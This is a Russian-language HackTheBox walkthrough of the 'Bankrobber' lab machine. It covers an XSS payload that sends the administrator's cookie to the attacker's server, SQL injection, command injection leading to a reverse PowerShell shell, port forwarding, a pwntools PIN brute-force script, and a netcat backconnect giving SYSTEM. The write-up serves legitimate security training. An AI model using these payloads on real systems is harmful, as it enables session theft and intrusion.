Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы угоним куки администратора сайта через XSS, узнаем код с помощью SQL инъекции, получим шелл через форму выполнения команды с помощью XSS и CSRF, прокинем порт из Windows и побрутим PIN легенького приложения перевода средств с помощью pwntools.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.154, который я добавляю в /etc/hosts.
10.10.10.154 bankrobber.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A bankrobber.htb -p80,443,445,3306
На хосте работают веб сервер и SMB, а также доступна СУБД MySQL. SMB и MySQL ничего нам не дают, поэтому смотрим веб.
Представлен сайт Bitcoin, где мы можем зарегистрироваться.
Давайте зарегистрируемся и войдем. Нам предоставляют форму перевода средств.
Выполнив простой тестовый запрос, получаем сообщение. В нем говорится, что Администратор рассмотрит наш запрос на транзакцию и примет решение.
Это очень большой намек на XSS. Давайте попробует украсть cookie администратора. Сначала развернем локальный HTTP сервер.
Теперь выполним запрос на транзакцию, указав в качестве сообщения следующую JS нагрузку.
<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Таким образом, пытаясь загрузить картинку, скрипт обратится по данному адресу и в качестве параметра пришлет нам куки учетной записи, под которой скрипт был выполнен (в данном случае администратор).
Похоже на base64. Декодируем и получаем логин и пароль администратора.
Логинимся под admin и смотрим, что нового нам доступно. Отправив кавычку в поле поиска пользователя, получаем ошибку — есть инъекция.
Другой сервер просит команду dir.
Но отвечает только localhost.
Вернемся к SQL инъекции.
Определяем количество столбцов и какие из них отображаются.
Таким образом выводятся первый и второй столбец.
USER
Немного посидев, ничего интересного не находим. Давайте перейдем к модулю backdoorchecker. Найдем событие, которое отвечает на нажатие кнопки.
Переходим в консоль браузера и вводим название функции.
Переходим по ссылке на функцию.
И находим куда поступает запрос. Благодаря инъекции, мы можем прочитать файл (с первого раза угадал дефолтный путь xampp).
Таким образом, команда будет выполнена, если в строке будет присутствовать подстрока “dir”. Это позволяет нам отправить цепочку команд. Осталось разобраться с одним, запрос должен поступить от localhost. Вспоминаем про XSS и функцию callSys(), которую мы можем вызвать для отправки запроса. Проверим наше предположение.
Так как команда выполнена, давайте выполним RCE с помощью скрипта Invoke-PowerShellTcp из пакета nishang.
ROOT
Первым делом проводим базовое перечисление системы. Для этого используем winPEAS.
Из всего вывода цепляемся за открытый на localhost 910 порт.
Давайте посмотрим, что на нем. Для начала нужно прокинуть порт. Среди всех программ наиболее удобным решением является chisel. Запускаем на локалтном и удаленном хостах.
Теперь подключимся и посмотрим, что там.
Требуется 4-х значный PIN код. Будем перебирать его.
#!/usr/bin/python3
def clear():
sys.stdout.write("33[F")
sys.stdout.write("33[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="r")
clear()
r.sendafter('[$] ', PIN+"n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
Находим PIN код и нас просят ввести сумму транзакции. Делаем это и ничего не происходит.
Сумма передается в программу, запущенную от имени администратора. Ничего не находя более, передаем в качестве суммы строку из 100 символов.
И мы видим как строка запуска программы изменилась на часть нашей строки. Проверим с какого индекса это произошло.
Таким образом, если передадим строку с названием и другой программы, она выполнится. Давайте проверим.
И предположение верно. Для начала загрузим netcat.
И теперь выполним бэкконнект.
Получаем привилегии SYSTEM.
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов